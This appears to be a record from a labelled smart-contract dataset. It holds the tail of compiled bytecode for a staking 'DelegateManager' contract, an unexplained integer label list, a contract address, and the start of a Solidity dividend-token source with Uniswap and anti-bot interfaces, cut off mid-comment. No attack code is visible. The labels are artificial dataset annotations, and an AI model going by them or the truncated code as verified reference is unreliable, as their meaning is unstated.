9166000908152603d60205260408120919091556129a9848363ffffffff6138c416565b905060006129bd878363ffffffff61378116565b6001600160a01b038b166000908152603d60205260409020549091506129ea90829063ffffffff61378116565b8814612a275760405162461bcd60e51b815260040180806020018281038252602d815260200180614797602d913960400191505060405180910390fd5b886001600160a01b031663b90bc8528b836040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050600060405180830381600087803b158015612a8757600080fd5b505af1158015612a9b573d6000803e3d6000fd5b5050505050505050505050505050565b612ab36131df565b603360019054906101000a90046001600160a01b03166001600160a01b0316336001600160a01b0316146040518060600160405280603581526020016146f46035913990612b425760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561091e578181015183820152602001610906565b50603480546001600160a01b0319166001600160a01b0383169081179091556040517f8ae96d8af35324a34b19e4f33e72d620b502f69595bb43870ab5fd7a7de7823990600090a250565b612b956131df565b603360019054906101000a90046001600160a01b03166001600160a01b0316336001600160a01b0316146040518060600160405280603581526020016146f46035913990612c245760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561091e578181015183820152602001610906565b50612c2e8161346c565b60405181907f6e9686f24e1165005f49d9abb260eb40aed402da21db4894ebd3895a6519a45490600090a250565b6000612c666131df565b612c6e61359b565b612c766135e4565b612c7e61362b565b33612c888161394f565b612cc35760405162461bcd60e51b81526004018080602001828103825260288152602001806143c56028913960400191505060405180910390fd5b6001600160a01b038116600090815260406020819052902060020154431015612d1d5760405162461bcd60e51b815260040180806020018281038252602781526020018061466a6027913960400191505060405180910390fd5b6001600160a01b03808216600090815260406020819052902054612d419116613672565b15612d7d5760405162461bcd60e51b815260040180806020018281038252603e81526020018061447a603e913960400191505060405180910390fd5b6001600160a01b038082166000818152604060208190528082208054600190910154603454835163666cc1c560e11b81529287166004840181905260248401969096526044830182905292519495909492169263ccd9838a9260648084019382900301818387803b158015612df157600080fd5b505af1158015612e05573d6000803e3d6000fd5b5050506001600160a01b0383166000908152603d6020526040902054612e99915084908490612e3a908563ffffffff6138c416565b6001600160a01b038088166000908152603e60209081526040808320938a1683529290522054612e70908663ffffffff6138c416565b6001600160a01b0388166000908152603f6020526040902054610cf7908763ffffffff6138c416565b6039546001600160a01b038085166000908152603e602090815260408083209387168352929052205410801590612eff57506001600160a01b038083166000818152604260209081526040808320549488168352603e8252808320938352929052205410155b80612f2d57506001600160a01b038084166000908152603e6020908152604080832093861683529290522054155b6040518060600160405280603381526020016144266033913990612f925760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561091e578181015183820152602001610906565b506001600160a01b038084166000908152603e6020908152604080832093861683529290522054612fc757612fc78284613a13565b6001600160a01b0382166000908152603d6020526040902060010154612ff9908390611524908463ffffffff6138c416565b61300283613941565b80826001600160a01b0316846001600160a01b03167fdf026d8db1c407002e7abde612fb40b6031db7aa35d4b3b699d07627f891e63160405160405180910390a460355460408051631e4e7d3560e31b81526001600160a01b0385811660048301529151600093929092169163f273e9a89160248082019260c092909190829003018186803b15801561309457600080fd5b505afa1580156130a8573d6000803e3d6000fd5b505050506040513d60c08110156130be57600080fd5b505160355460408051635c85e42960e11b81526001600160a01b03878116600483015260248201859052915193945091169163b90bc8529160448082019260009290919082900301818387803b15801561311757600080fd5b505af115801561312b573d6000803e3d6000fd5b5050506001600160a01b039485166000908152603e60209081526040808320969097168252949094525050502054905090565b60606131686131df565b6001600160a01b0382166000908152603d6020908152604091829020600201805483518184028101840190945280845290918301828280156131d357602002820191906000526020600020905b81546001600160a01b031681526001909101906020018083116131b5575b50505050509050919050565b6033546040805180820190915260208082527f496e697469616c697a61626c6556323a204e6f7420696e697469616c697a6564908201529060ff161515600114611c975760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561091e578181015183820152602001610906565b303b1590565b806001600160a01b0316630ea773076040518163ffffffff1660e01b815260040160206040518083038186803b1580156132a957600080fd5b505afa1580156132bd573d6000803e3d6000fd5b505050506040513d60208110156132d357600080fd5b505115156001146133155760405162461bcd60e51b81526004018080602001828103825260468152602001806144b86046913960600191505060405180910390fd5b603380546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6000603360019054906101000a90046001600160a01b03169050806001600160a01b031663062888856040518163ffffffff1660e01b815260040160206040518083038186803b15801561339057600080fd5b505afa1580156133a4573d6000803e3d6000fd5b505050506040513d60208110156133ba57600080fd5b505160408051633ecc6a4360e01b815290516001600160a01b03841691633ecc6a43916004808301926020929190829003018186803b1580156133fc57600080fd5b505afa158015613410573d6000803e3d6000fd5b505050506040513d602081101561342657600080fd5b50510182116134665760405162461bcd60e51b81526004018080602001828103825260708152602001806147c46070913960800191505060405180910390fd5b50603755565b6000603360019054906101000a90046001600160a01b03169050806001600160a01b031663062888856040518163ffffffff1660e01b815260040160206040518083038186803b1580156134bf57600080fd5b505afa1580156134d3573d6000803e3d6000fd5b505050506040513d60208110156134e957600080fd5b505160408051633ecc6a4360e01b815290516001600160a01b03841691633ecc6a43916004808301926020929190829003018186803b15801561352b57600080fd5b505afa15801561353f573d6000803e3d6000fd5b505050506040513d602081101561355557600080fd5b50510182116135955760405162461bcd60e51b81526004018080602001828103825260758152602001806141ef6075913960800191505060405180910390fd5b50603a55565b6034546001600160a01b03166135e25760405162461bcd60e51b815260040180806020018281038252602a8152602001806142f5602a913960400191505060405180910390fd5b565b6035546001600160a01b03166135e25760405162461bcd60e51b81526004018080602001828103825260398152602001806143656039913960400191505060405180910390fd5b6036546001600160a01b03166135e25760405162461bcd60e51b81526004018080602001828103825260308152602001806147676030913960400191505060405180910390fd5b6036546040805163d017f48360e01b81526001600160a01b03848116600483015291516000939290921691829163d017f483916024808301926020929190829003018186803b1580156136c457600080fd5b505afa1580156136d8573d6000803e3d6000fd5b505050506040513d60208110156136ee57600080fd5b50519392505050565b6000805b6001600160a01b0383166000908152603d6020526040902060020154811015613777576001600160a01b038381166000908152603d602052604090206002018054918616918390811061374a57fe5b6000918252602090912001546001600160a01b0316141561376f576001915050610e98565b6001016136fb565b5060009392505050565b6000828201838110156137db576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b6001600160a01b038085166000818152603d602090815260408083208890559389168252603e815283822092825291909152208290556138228582613906565b5050505050565b60008261383857506000610e98565b8282028284828161384557fe5b04146137db5760405162461bcd60e51b81526004018080602001828103825260218152602001806144596021913960400191505060405180910390fd5b60006137db83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061409c565b60006137db83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250614101565b6001600160a01b039091166000908152603f6020526040902055565b6001600160a01b039091166000908152603d6020526040902060010155565b611c978160008060006139bb565b6001600160a01b0381166000908152604060208190528120600201541580159061399357506001600160a01b03821660009081526040602081905290206001015415155b8015610e985750506001600160a01b0390811660009081526040602081905290205416151590565b604080516060810182526001600160a01b03948516815260208082019485528183019384529585166000908152958290529420935184546001600160a01b031916931692909217835551600183015551600290910155565b60005b6001600160a01b0383166000908152603d6020526040902060020154811015613b3d576001600160a01b038381166000908152603d6020526040902060020180549184169183908110613a6557fe5b6000918252602090912001546001600160a01b03161415613b35576001600160a01b0383166000908152603d6020526040902060020180546000198101908110613aab57fe5b60009182526020808320909101546001600160a01b038681168452603d9092526040909220600201805491909216919083908110613ae557fe5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559185168152603d90915260409020600201805490613b2f906000198301614185565b50613b3d565b600101613a16565b505050565b600080600080600080876001600160a01b031663ff653c8a886040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b03168152602001915050604080518083038186803b158015613ba057600080fd5b505afa158015613bb4573d6000803e3d6000fd5b505050506040513d6040811015613bca57600080fd5b50516001600160a01b0388166000908152603d602052604081206001015491925090613bfc908363ffffffff61378116565b60365460408051631bff085760e21b81526001600160a01b038c811660048301526024820185905291519394506000939190921691636ffc215c91604480830192602092919082900301818787803b158015613c5757600080fd5b505af1158015613c6b573d6000803e3d6000fd5b505050506040513d6020811015613c8157600080fd5b505160345460408051634b341aed60e01b81526001600160a01b038d811660048301529151939450911691634b341aed91602480820192602092909190829003018186803b158015613cd257600080fd5b505afa158015613ce6573d6000803e3d6000fd5b505050506040513d6020811015613cfc57600080fd5b505160408051631e4e7d3560e31b81526001600160a01b038c811660048301529151929a50908c169163f273e9a89160248082019260c092909190829003018186803b158015613d4b57600080fd5b505afa158015613d5f573d6000803e3d6000fd5b505050506040513d60c0811015613d7557600080fd5b5080516020918201516001600160a01b038c166000908152603d90935260408320549199509550613dad90899063ffffffff61378116565b9050613dbf818463ffffffff6138c416565b9650613dd1898263ffffffff6138c416565b8214613e0e5760405162461bcd60e51b815260040180806020018281038252602781526020018061439e6027913960400191505060405180910390fd5b88868b6001600160a01b03167f34fcbac0073d7c3d388e51312faf357774904998eeb8fca628b9e6f65ee1cbf760405160405180910390a450935050509295509295909350565b6000805b6001600160a01b0387166000908152603d6020526040902060020154811015614092576001600160a01b0387166000908152603d60205260408120600201805483908110613ea357fe5b60009182526020808320909101546001600160a01b03908116808452603e835260408085208d84168087529085528186205483875294829052942054909450919291161415613f1c576001600160a01b038216600090815260406020819052902060010154613f1990829063ffffffff6138c416565b90505b6000613f328961138d848b63ffffffff61382916565b90506000613f69613f498b8963ffffffff61382916565b61138d8a613f5d878e63ffffffff61382916565b9063ffffffff61382916565b9050613fd5613f7e838363ffffffff6138c416565b603e6000876001600160a01b03166001600160a01b0316815260200190815260200160002060008e6001600160a01b03166001600160a01b031681526020019081526020016000205461378190919063ffffffff16565b603e6000866001600160a01b03166001600160a01b0316815260200190815260200160002060008d6001600160a01b03166001600160a01b03168152602001908152602001600020819055506140608461149061403b84866138c490919063ffffffff16565b6001600160a01b0388166000908152603f60205260409020549063ffffffff61378116565b614080614073838363ffffffff6138c416565b879063ffffffff61378116565b95505060019093019250613e59915050565b5095945050505050565b600081836140eb5760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561091e578181015183820152602001610906565b5060008385816140f757fe5b0495945050505050565b600081848411156141535760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561091e578181015183820152602001610906565b505050900390565b604051806060016040528060006001600160a01b0316815260200160008152602001600081525090565b815481835581811115613b3d57600083815260209020613b3d91810190830161075591905b808211156141be57600081556001016141aa565b509056fe44656c65676174654d616e616765723a204d6178696d756d2064656c656761746f727320657863656564656444656c65676174654d616e616765723a2072656d6f766544656c656761746f724c6f636b75704475726174696f6e206475726174696f6e206d7573742062652067726561746572207468616e20676f7665726e616e636520766f74696e67506572696f64202b20657865637574696f6e44656c617944656c65676174654d616e616765723a2044656c65676174696f6e206e6f74207065726d697474656420666f722053502070656e64696e6720636c61696d44656c65676174654d616e616765723a204e6f2070656e64696e67207265717565737444656c65676174654d616e616765723a2044656c656761746f72206d757374206265207374616b656420666f7220535044656c65676174654d616e616765723a207374616b696e6741646472657373206973206e6f742073657444656c65676174654d616e616765723a20556e64656c65676174652072657175657374206e6f74207065726d697474656420666f722053502070656e64696e6720636c61696d44656c65676174654d616e616765723a207365727669636550726f7669646572466163746f727941646472657373206973206e6f742073657444656c65676174654d616e616765723a2052657761726420616d6f756e74206d69736d6174636844656c65676174654d616e616765723a2050656e64696e67206c6f636b757020657870656374656444656c65676174654d616e616765723a204f6e6c792063616c6c61626c6520627920746172676574205350206f7220676f7665726e616e636544656c65676174654d616e616765723a204d696e696d756d2064656c65676174696f6e20616d6f756e74207265717569726564536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7744656c65676174654d616e616765723a20556e64656c6567617465206e6f74207065726d697474656420666f722053502070656e64696e6720636c61696d44656c65676174654d616e616765723a205f676f7665726e616e636541646472657373206973206e6f7420612076616c696420676f7665726e616e636520636f6e747261637444656c65676174654d616e616765723a20536572766963652050726f7669646572207374616b65207265717569726564436f6e747261637420696e7374616e63652068617320616c7265616479206265656e20696e697469616c697a656444656c65676174654d616e616765723a2052657175657374656420756e64656c6567617465207374616b6520616d6f756e74206d7573742062652067726561746572207468616e207a65726f44656c65676174654d616e616765723a2050656e64696e672072656d6f76652064656c656761746f72207265717565737444656c65676174654d616e616765723a2043616e6e6f742064656372656173652067726561746572207468616e2063757272656e746c79207374616b656420666f722074686973205365727669636550726f766964657244656c65676174654d616e616765723a2052656d6f766544656c656761746f72206576616c756174696f6e2077696e646f77206578706972656444656c65676174654d616e616765723a204c6f636b7570206d757374206265206578706972656444656c65676174654d616e616765723a204f6e6c792063616c6c61626c652062792076616c696420536572766963652050726f766964657244656c65676174654d616e616765723a204e6f2070656e64696e67206c6f636b757020657870656374656444656c65676174654d616e616765723a204f6e6c792063616c6c61626c6520627920476f7665726e616e636520636f6e747261637444656c65676174654d616e616765723a2043616e6e6f7420736c617368206d6f7265207468616e20746f74616c2063757272656e746c79207374616b656444656c65676174654d616e616765723a20636c61696d734d616e6167657241646472657373206973206e6f742073657444656c65676174654d616e616765723a20636c61696d5265776172647320616d6f756e74206d69736d6174636844656c65676174654d616e616765723a20756e64656c65676174654c6f636b75704475726174696f6e206475726174696f6e206d7573742062652067726561746572207468616e20676f7665726e616e636520766f74696e67506572696f64202b20657865637574696f6e44656c6179a265627a7a72315820eb50b01e61a14814775cd5f85f634fcf0b2177a5d1313953d2505a050a54b2ff64736f6c63430005110032
[ 7, 20, 11, 9, 13, 5, 18 ]
0xf24af7b4d98c761e5d6ebb22de4cd1b9c56afb1b
// SPDX-License-Identifier: MIT pragma solidity ^0.6.2; library SafeMathUint { function toInt256Safe(uint256 a) internal pure returns (int256) { int256 b = int256(a); require(b >= 0); return b; } } library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /** * @dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } /** * @dev Division of two int256 variables and fails on overflow. */ function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } /** * @dev Subtracts two int256 variables and fails on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two int256 variables and fails on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Converts to absolute value, and fails on overflow. */ function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } function toUint256Safe(int256 a) internal pure returns (uint256) { require(a >= 0); return uint256(a); } } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library IterableMapping { // Iterable mapping from address to uint; struct Map { address[] keys; mapping(address => uint256) values; mapping(address => uint256) indexOf; mapping(address => bool) inserted; } function get(Map storage map, address key) public view returns (uint256) { return map.values[key]; } function getIndexOfKey(Map storage map, address key) public view returns (int256) { if (!map.inserted[key]) { return -1; } return int256(map.indexOf[key]); } function getKeyAtIndex(Map storage map, uint256 index) public view returns (address) { return map.keys[index]; } function size(Map storage map) public view returns (uint256) { return map.keys.length; } function set( Map storage map, address key, uint256 val ) public { if (map.inserted[key]) { map.values[key] = val; } else { map.inserted[key] = true; map.values[key] = val; map.indexOf[key] = map.keys.length; map.keys.push(key); } } function remove(Map storage map, address key) public { if (!map.inserted[key]) { return; } delete map.inserted[key]; delete map.values[key]; uint256 index = map.indexOf[key]; uint256 lastIndex = map.keys.length - 1; address lastKey = map.keys[lastIndex]; map.indexOf[lastKey] = index; delete map.indexOf[key]; map.keys[index] = lastKey; map.keys.pop(); } } interface IFTPAntiBot { // Here we create the interface to interact with AntiBot function scanAddress( address _address, address _safeAddress, address _origin ) external returns (bool); function registerBlock(address _recipient, address _sender) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function removeLiquidity( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETH( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountToken, uint256 amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETHWithPermit( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountToken, uint256 amountETH); function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapTokensForExactTokens( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactETHForTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function swapTokensForExactETH( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactTokensForETH( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapETHForExactTokens( uint256 amountOut, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function quote( uint256 amountA, uint256 reserveA, uint256 reserveB ) external pure returns (uint256 amountB); function getAmountOut( uint256 amountIn, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountOut); function getAmountIn( uint256 amountOut, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountIn); function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Burn( address indexed sender, uint256 amount0, uint256 amount1, address indexed to ); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function burn(address to) external returns (uint256 amount0, uint256 amount1); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface DividendPayingTokenInterface { /// @notice View the amount of dividend in wei that an address can withdraw. /// @param _owner The address of a token holder. /// @return The amount of dividend in wei that `_owner` can withdraw. function dividendOf(address _owner) external view returns (uint256); /// @notice Distributes ether to token holders as dividends. /// @dev SHOULD distribute the paid ether to token holders as dividends. /// SHOULD NOT directly transfer ether to token holders in this function. /// MUST emit a `DividendsDistributed` event when the amount of distributed ether is greater than 0. function distributeDividends() external payable; /// @notice Withdraws the ether distributed to the sender. /// @dev SHOULD transfer `dividendOf(msg.sender)` wei to `msg.sender`, and `dividendOf(msg.sender)` SHOULD be 0 after the transfer. /// MUST emit a `DividendWithdrawn` event if the amount of ether transferred is greater than 0. function withdrawDividend() external; /// @dev This event MUST emit when ether is distributed to token holders. /// @param from The address which sends ether to this contract. /// @param weiAmount The amount of distributed ether in wei. event DividendsDistributed(address indexed from, uint256 weiAmount); /// @dev This event MUST emit when an address withdraws their dividend. /// @param to The address which withdraws ether from this contract. /// @param weiAmount The amount of withdrawn ether in wei. event DividendWithdrawn( address indexed to, uint256 weiAmount, address received ); } interface DividendPayingTokenOptionalInterface { /// @notice View the amount of dividend in wei that an address can withdraw. /// @param _owner The address of a token holder. /// @return The amount of dividend in wei that `_owner` can withdraw. function withdrawableDividendOf(address _owner) external view returns (uint256); /// @notice View the amount of dividend in wei that an address has withdrawn. /// @param _owner The address of a token holder. /// @return The amount of dividend in wei that `_owner` has withdrawn. function withdrawnDividendOf(address _owner) external view returns (uint256); /// @notice View the amount of dividend in wei that an address has earned in total. /// @dev accumulativeDividendOf(_owner) = withdrawableDividendOf(_owner) + withdrawnDividendOf(_owner) /// @param _owner The address of a token holder. /// @return The amount of dividend in wei that `_owner` has earned in total. function accumulativeDividendOf(address _owner) external view returns (uint256); } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() public { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract ERC20 is Context, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} 